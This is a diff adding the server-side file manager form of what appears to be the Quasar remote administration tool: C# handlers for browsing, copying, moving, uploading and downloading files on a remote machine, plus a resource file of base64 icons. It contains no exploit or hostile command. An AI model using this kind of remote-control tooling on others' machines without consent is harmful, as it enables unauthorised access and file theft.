_clipboardFiles.Count > 0; + } + + private void copyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count == 0) return; + + _clipboardFiles = new List(); + _isCutOperation = false; + + foreach (ListViewItem item in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)item.Tag; + if (tag.Type != FileType.Back) + { + string path = GetAbsolutePath(item.SubItems[0].Text); + _clipboardFiles.Add(new ClipboardItem { Path = path, Type = tag.Type }); + } + } + + SetStatusMessage(this, $"Copied {_clipboardFiles.Count} item(s) to clipboard"); + } + + private void cutToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count == 0) return; + + _clipboardFiles = new List(); + _isCutOperation = true; + + foreach (ListViewItem item in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)item.Tag; + if (tag.Type != FileType.Back) + { + string path = GetAbsolutePath(item.SubItems[0].Text); + _clipboardFiles.Add(new ClipboardItem { Path = path, Type = tag.Type }); + } + } + + SetStatusMessage(this, $"Cut {_clipboardFiles.Count} item(s) to clipboard"); + } + + private void pasteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (_clipboardFiles == null || _clipboardFiles.Count == 0) + { + MessageBox.Show("Clipboard is empty.", "Paste", MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + + string destinationDir = _currentDir; + + foreach (var item in _clipboardFiles) + { + string fileName = Path.GetFileName(item.Path); + string destinationPath = Path.Combine(destinationDir, fileName); + + if (_isCutOperation) + { + // Move operation (cut) - use rename which is essentially a move + _fileManagerHandler.RenameFile(item.Path, destinationPath, item.Type); + } + else + { + // Copy operation - use the new CopyFile method + _fileManagerHandler.CopyFile(item.Path, destinationPath, item.Type); + } + } + + if (_isCutOperation) + { + // Clear clipboard after cut operation + _clipboardFiles = null; + SetStatusMessage(this, "Files moved"); + } + else + { + SetStatusMessage(this, "Files copied"); + } + + // Refresh directory to show changes + System.Threading.Tasks.Task.Delay(500).ContinueWith(_ => + { + this.Invoke((MethodInvoker)RefreshDirectory); + }); + } + + private void previewToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count != 1) + return; + + var selectedItem = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)selectedItem.Tag; + + if (tag.Type == FileType.File && IsImageFile(selectedItem.SubItems[0].Text)) + { + string filePath = GetAbsolutePath(selectedItem.SubItems[0].Text); + string fileName = selectedItem.SubItems[0].Text; + + // Download the image for preview to temp folder with _preview_ prefix + string localPath = "_preview_" + Path.GetFileName(fileName); + _fileManagerHandler.BeginDownloadFile(filePath, localPath, true); + + // Show a message that preview is loading + SetStatusMessage(this, "Loading image preview..."); + } + } + + private bool IsImageFile(string filename) + { + string ext = Path.GetExtension(filename).ToLower(); + return ext == ".png" || ext == ".jpg" || ext == ".jpeg" || ext == ".bmp" || + ext == ".gif" || ext == ".ico" || ext == ".tiff" || ext == ".tif" || + ext == ".webp" || ext == ".svg" || ext == ".jfif"; + } + + private void cancelToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.SelectedItems) + { + if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + + int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text); + + _fileManagerHandler.CancelFileTransfer(id); + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.Items) + { + if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + transfer.Remove(); + } + } + + private void lstDirectory_DragEnter(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files + e.Effect = DragDropEffects.Copy; + } + + private void lstDirectory_DragDrop(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) + { + string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); + foreach (string localFilePath in files) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) + { + // refresh when F5 is pressed + if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0) + { + RefreshDirectory(); + e.Handled = true; + } + } + + /// + /// Adds an item to the file browser. + /// + /// File or directory name. + /// File size, for directories use 0. + /// File type. + /// The image to display for this item. + private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex) + { + ListViewItem lvi = new ListViewItem(new string[] + { + name, + (type == FileType.File) ? StringHelper.GetHumanReadableFileSize(size) : string.Empty, + (type != FileType.Back) ? type.ToString() : string.Empty + }) + { + Tag = new FileManagerListTag(type, size), + ImageIndex = imageIndex + }; + + lstDirectory.Items.Add(lvi); + } + + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + stripLblStatus.Text = $"Status: {message}"; + } + + /// + /// Fetches the directory contents of the current directory. + /// + private void RefreshDirectory() + { + SwitchDirectory(_currentDir); + } + + /// + /// Switches to a new directory and fetches the contents of it. + /// + /// Path of new directory. + private void SwitchDirectory(string remotePath) + { + _fileManagerHandler.GetDirectoryContents(remotePath); + SetStatusMessage(this, "Loading directory content..."); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx new file mode 100755 index 0000000..fba8c7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.resx @@ -0,0 +1,853 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 297, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFGSURBVDhPY/j//z8DJRhDAIZLjmf8Lz6W/r/gUOr/ + 3H1J/9HlCRpQdDTt/+obi/6vvL7gf8aOWNINyD+Q/H/5tXn/l16Z8z95UyTpBmTtjv+/+Mqs/wsvz/gf + uyqYdANSt0T/n39p2v85F6b8D1/kR7oB8WvD/s86P/n/jHMT/gfM8iDdgMhlAf+nnun7P/l093+vSU6k + GxA8z+v/xFNd//tOtv937rIh3QCfqa7/e463/u881vTftsmMNAO8pzhbhM7y+99+tPF/6+G6/2ZVhsQb + 4DXJaYdrj+33nLWp/5sO1f5vOFj1P2CS93+dXPXvGhkqu9HVYxjg3GXDZtdscTN8ZuD/ugOV/2v2l/33 + 7nX7r56mfFs5SYENXT2GATBsXKp73rff479Xj+t/tVSli+jyBA0AYc1M1SOqKYon0cWJNoAYDAAWX9VT + xFwz8wAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFGSURBVDhPpczfK0NxAAXwPe3PUFZbtFa0Wla0ImIp + yyJLQ3JnUou7kc3uYrouw8JM63a7EuZl3jystDb7aZfMj6XkD9nj8aR0F/bNw3k55/RRAFD8J3XF97iL + s+WFLJWX9w0BdMHxvCUFwN6twpm0V+T7j4Cn5FTSeccHJ/lx+SbioiqAybgxkRh5t8UtSvm/DljMUTeu + 9HRto+jFWZXH6WsMmzkGY+dDNatoTsr/dcBXqOtxnLwcQ3g6ApWwY1gY6JB/fgUmr0bBVyKIPe7DwvdD + vv8J2OIWRB/CiNzvwHzYTQ5YRTMOpBDCZQ49oU5yYDDai90Si+1iEF1BAznQt2cCV1gHmwvA4GsnB0ys + EcEsg7VbH9poLTlgZPQIZLzwp5ehndeQA/olHXwpD1ZSNDSUihzQuVrQOqeGeqYZqqkmcqDRfALmetgt + inUAfQAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJcSURBVDhPpdNdSFNhGAfwV7rpqrwpkKIwkooI2oWE + fdCFMeoqvAjBRFPLVoqzZsE+Kt0YmqJNGc6sNp3OWh/0IVpqRdqXuTKKAivtSpjMyo99nJ295+wf7zsn + gnhhPfBwDg/P8zuH85yXACD/kyTjjLuo9uFYQH9zFLqOUejav0PrHMH5lq84Z/8CzY3PONv8EaVXh6Fu + 9KDY+g665lcBNscB890xuaFnAstNtaVf5gB78r9kYc0LcEDX/oPdLDsKKp+xCyHatm+8IFIJYSpBECkC + AsWsEMF0UMRvvwDfVAjeySDGfX789M7y/mPm3jnAOcILEVlGRJI4FIpQBMMxaCZE8ScQxuSsAN+0gIlf + Id6fU/E4BrCvzUKSZVCGyDJESYJAJQTZ24Qp/AJFacd+nHAo4J2a4f3ZF7tiAFsVB6JRDsQhUZYRZpBI + OXTKmYaKzixkNm2FSAVkGR7FAM31T/NAPBmgdu1DSXsaVM5U5NsVMNw/gtueepTdOQylJQmZencMUNve + xwAAbLFxpKhtFx4MN+LeBysfvOWxwPK0DK1vq6FyKZFauRI7TAmrSYl1iAMsonOIHI2iwKHgw3W9alx+ + UgRzdyHKO/Ng7DqJpgETslv2IuUSkUhxw+A8sDCOXtsG95AFrsFatL6phv11Fczdp2EbMKLQdRAphlVY + pyU72Vlwq+pe8j/reNVz5Jn7kGvqQYZtEw7Vr0f6lbXYU5OIHMduNPaXI79Nic2GRBzQGNkeyaLTtVRu + NyUEc1vTsVFPxpO0ZEu8vqhxqUy+QIIb9CuwRkuSF9b/ApkfFpdHjIMtAAAAAElFTkSuQmCC + + + + 157, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAU + EwAAAk1TRnQBSQFMAgEBCwIAAQMBAAEDARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + AUADAAEwAwABAQEAAQgGAAEMGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA + AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA + AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm + AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ + AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm + AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz + AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm + AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm + AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA + ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm + AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm + ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm + AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA + AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ + AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz + AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ + AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA + AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM + AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm + ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ + AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ + ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM + ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm + AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM + AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA + AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA + ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 + Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/8BAAH/AfQB7wq1Ae8B9AH/ + AgAHvAUHAf8DAAHvAeoIEgHqAe8SAAL/AbUB9AkZAbUC/wIAAfIB9AHxCPMB8gH/AgAB8wHsCvQB7AHz + EwABuwEZBSoBMQIqARkBuwQAAfIB8wJtAewB9wHvAbwB8QHyAvMB/wIAAfAB7wr/Ae8B8BMAAQcBGQUx + ATcCMQEZAQcEAAHyAfABEwIVARQBEgFtAesB7QGSAbwB/wIAAfAB7wEZAbMBuQH0Av8BGQH0Av8B7wHw + EwABCQEZASoDMAExAVkBWAExARkBCQQAAfIBBwEUBxUBbQHwAf8CAAHwAe8BGQK6AQkB/wHcArMB9AH/ + Ae8B8BMAAbwBGQEPAUMBRAFLAXkBoAF5AVgBGQG8BAAB8gH3CBUB6wHyAf8CAAHwAe8B/wIZAQkB/wEZ + AroBGQH/Ae8B8BMAAbwBGQEVAUQCWAF6AuUBWQEZAbwEAAHyAewIFQH3AfMB/wIAAfAB7wL/AfQBCQP/ + AhkB/wHvAfATAAHwARkBRAFRAlgBWQHlAVkBWAEZAfAEAAHyAesHFQEUAQcB9AH/AgAB8AHvAv8B9AG6 + AQkBGQH0AhkB/wHvAfATAAHwARkBUgdYARkB8AQAAfABbQHtAuoBFAMVAeoB8QH0Af8CAAHwAe8C/wH0 + ArIDrAEZAf8B7wHwEwAB8AEZCFgBGQHwBAABBwFtAe0B7AEHAu8D7AL0Af8BAAH/AbwB7wL/AfQBugK0 + ArMBGQH/Ae8B8BMAAfABGQgxARkB8AQAAfEBBwG8AewBkgH3Ae8BvAHwAbwC9AH/AQABBwFlAbQEuwEJ + AfQB8wEZAfQB/wHvAfATAAHwBRkECQEZAfAEAAHyAv8B8wHyAe8BvAL3AfED/wEAAQcBswW6AbMF9AHv + AfATAAHxBBkDCQO1AbsEAAHyBf8B8wHxAfAB8QHyAbwB/wEAAQcBiwG6ArsBugG7AbQB8wT0Ae8B8BMA + AfEDGQQJAbsB9AHxAf8EAAHyB/8B9AHzAfAB9AIAAQcBZQa0BfMB7wHwEwAB8QcZAQkB8QH/BQAB8gj/ + AbwB9AMAAfQBvAHsCvMB7AHzEwAB8wjxAf8GAAjxAfAB9AYAAe8KbQHvEgAB/wH0AbwKBwG8AfQB/wEA + AfQL8wH0AgAB/wH0Ae8KtQHvAfQB/wIAAQcMEgEHAv8BBwr/AQcC/wEAAZkLUgGZAgAC/wG1AfQJGQG1 + Av8CAAESDP8BEgIAAbwK/wG8AwABUgF6CXkBegFSBAABuwoZAbsCAAogA/QB8wH/AeoCAAG8Af8CvAHw + AbwD/wH0Af8BvAMAAVIBegJ5AVgCUgFYA3kBegFSBAABBwEZArsCCQUZAQcCAAogAfQD8wH/AeoCAAG8 + Af8E8wL/AvQB/wG8AwABUgF6AXkBUgT/AVICeQF6AVIEAAEJChkBCQIAAiABvQFvBiAE8wH/AW0CAAG8 + Af8BvAHwAbwBBwS8Af8BvAMAAVIBegF0AVIBGgL/ARoBUgJ0AXoBUgIAAc8HpgGGAQkCuwEZAbwCAAIg + AUYB9AGUAW8BlAG9AiAE8wH/AW0CAAG8Af8D8wHyBPEB/wG8AwABUgF6A1IC/wJSAnQBegFSAgABhgf0 + AYYDCQEZAbwCAAMgARcBlAFGAb0BFwIgBPMB/wHrAgABvAH/AbwCBwG8AQcCvAEHAfQBvAMAAVIBegNS + AZkB/wJSAXQBUgF6AVICAAGGAfQBrQGLAfABiwHwAfQBhgO7ARkB8AIABCAClAEWAyAE8wH/AesCAAHw + Af8B8wHyBvEB9AHwAwABUgF6A1IB/wGZBFIBegFSAgABhgH0Aa0BtAG1AbQBtQH0AYYDCQEZAfACAAQg + AUcB/wQgBPMB/wHsAgAB8AH/AQcBvAQHAbwBBwH0AfADAAFSAZoDUgGZAf8EUgGaAVICAAGLAf8BrQEJ + Ac8BCQHPAf8BiwO7ARkB8AIABfkB/wT5A/MB8gH/AewCAAHwAf8E8QH0AvMB8QH0AfADAAFSAZoDUgH/ + AZkBdASaAVICAAGtAf8BrQH0Aa0B9AGtAf8BrQMJARkB8AIACvkF/wHsAgAB8AH/AgcBvAEHAvMC8QH0 + AfADAAFSAZoDUgGZAf8BmgF0AlIBmgFSAgABrQHdAa0BCQGtAQkBrQHdAa0DCQEZAfACAAr5Af8C8gHz + Ae0BvAIAAfAB/wP0AvMB8QP3AbwDAAFSAZoDUgH/AZkBmgFSAfQB/wF5AZkCAAGtB/8BrQEJA7UBuwQA + Ae0B/wPzA/IB/wHyAfMB7QHwAwAB8AH/AvQC8wLxAe8B/wHwAfQDAAFSAZoDUgGZAf8BmgFSAf8BeQGZ + AwABtQfPAbQBCQG7AfQB8QH/BAABkgH/AfMF8gH/AfMBkgHwBAAB8QL/BfQBBwHxAfQEAAFSCJoBeQGZ + BgAB8QcZAQkB8QH/BQABkgj/AZIB8AUAAfMI8gH0BQABdAhSAXQHAAHzCPEB/wYAAfAI9wHwJgAB9AHv + CPcB7wH0MwAB/wFtAfMI9AHzAW0B/wEAEP8RAAEaAZkLUgEaAgAB8wH3Cv8B9wHzAQABtQ60AbUDAAHz + AfQMAAF0ARsBGgSaBXoBwwFSAgAB8wH3Cv8B9wHzAQABtAHzDPIB8wG0AgAB8wEuAVAMAAFSAfYBoAKa + A3oEWQHDAVICAAHzAfcK/wH3AfMBAAG0AfMM8gHzAbQBAAHzAS4BeQEuCvMB9AEAAVIB9gHDAaACmgN6 + A1kBwwFSAgAB8wHvCv8B7wHzAQABtAHzDPIB8wG0AfMBLgF5ATYBNQouAXMBAAFSAfYCwwKgAZoDegJZ + AcMBUgIAAfMB7wr/Ae8B8wEAAbQB9AzzAfQBtAEuAXkNNgEuAQABUgL/A/YBwwKaA3oBwwFSAgAB8wHv + Cv8B7wHzAQABtAH0DPMB9AG0AS4BmQI2C3kBLgEAAVIB9gKaAXoBGwb2Af8BWAIAAfMB7wr0AfcB8wEA + AboO9AG6AQABLgGZATYBLwouARwBAAFYAfYDmgJ6ApoDegH2AVgCAAHzAe8J9AHzAZIB8wEAAboO/wG6 + AgABLgGZAS4MAAFYAfYDmgEaBvYB/wF5AgAB8wHvB/QB8wHyAbwB7AHzAQAB2w7/AdsDAAEuAVAMAAFY + Bf8B9gR5ApkBGwIAAfMB7wfzAfEC8gFtAf8BAAHbDv8B2xEAB3kH/wIAAfMB7wbzAfAB8wHyAewB8wIA + AboC2wLVBrQEswG0IQAB8wHvBfIB8AG8AfMB7AH0AwABCQTcBtsE2gEJIQAB/wHrAfMC9AHzAfIBvAHv + AewB9AQAAfQBCQzbAQkB9CIAAfQB7wX3AZIB9BUAAUIBTQE+BwABPgMAASgDAAFAAwABMAMAAQEBAAEB + BQABgAEBFgAD/wMAAcABAQHAAQMEAAHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIA + AcABAwHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIAAcABAwHAAQEBgAEBAgABwAED + AcABAQGAAQECAAHAAQMBwAEBAQABAQIAAcABAwHAAQEBAAEBAgABwAEDAcABAQEAAQECAAHAAQMBwAEB + AQABAQIAAcABAwHAAQMBAAEBAgABwAEHAcABBwEAAQECAAHAAQ8BwAEPAcABAwQAAYABAwIAAcADAAGA + AQMCAAHAAQABwAEDAYABAwHAAQMCAAHAAQMBgAEDAcABAwIAAcABAwGAAQMBwAEDAgABwAEDAYABAwEA + AQMCAAHAAQMBgAEDAQABAwIAAcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwIA + AcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwHAAQEBwAEDAYABBwEAAQMBwAED + AcABBwGAAQ8BwAEHAcABBwHAAQ8BgAEfAcABDwHAAQ8E/wHAAQMG/wGAAQECAAL/AYABAQGAAQECAAHn + Af8BgAEBAYABAQIAAccB/wGAAQEBgAEBAgABgAEAAYABAQGAAQEEAAGAAQEBgAEBBAABgAEBAYABAQQA + AYABAQGAAQECAAGAAQABgAEBAYABAQIAAccB/wGAAQEBgAEBAgAB5wH/AYABAQGAAQECAAL/AYABAQGA + AQMCAAT/AYABBwIABP8BgAEPAgAE/wHAAR8C/ws= + + + + 496, 17 + + + 605, 17 + + + 17, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE + CQAAAk1TRnQBSQFMAgEBAgEAAXgBAgF4AQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0UAAUcG+QFHCQAC/ywA + AkcCFwRHASYBRwcAAf8BTwFJAf8qAAJHARcBRwT5ASYBRwEmAUcFAAH/AU8BcgFQAUkB/ygAAkcCFwG9 + AUcC+QFHAb0CRwEmAUcDAAH/AVABcgF4AZcBcgFJAf8nAAH5ARcBRwG9Af8B9AJHAfQB/wG9AkcB+QIA + Af8BcgGXBHgBcgFPAf8mAAH5ARcBRwEXAfQB/wL0Af8B9AFHAfkBRwH5AQAB/wKXAZgBeAKXAngBcgFP + Af8lAAH5AeMCRwEXAfQC/wH0AUcC+QEXAfkBAAH0AngBmAFyAfABCAFyAngBcgFPAf8kAAH5AeMCRwEX + AfQC/wH0AUcC+QEXAfkCAAH0ApcB8AIAAQgBcgJ4AXIBTwH/IwAB+QHjAUcBFwH0Af8C9AH/AfQBRwH5 + ARcB+QMAAfQB8gQAAQgBcgJ4AXIBTwH/IgAB+QHjARcBvQH/AfQCFwH0Af8BvQFHARcB+QoAAQgBlwGY + 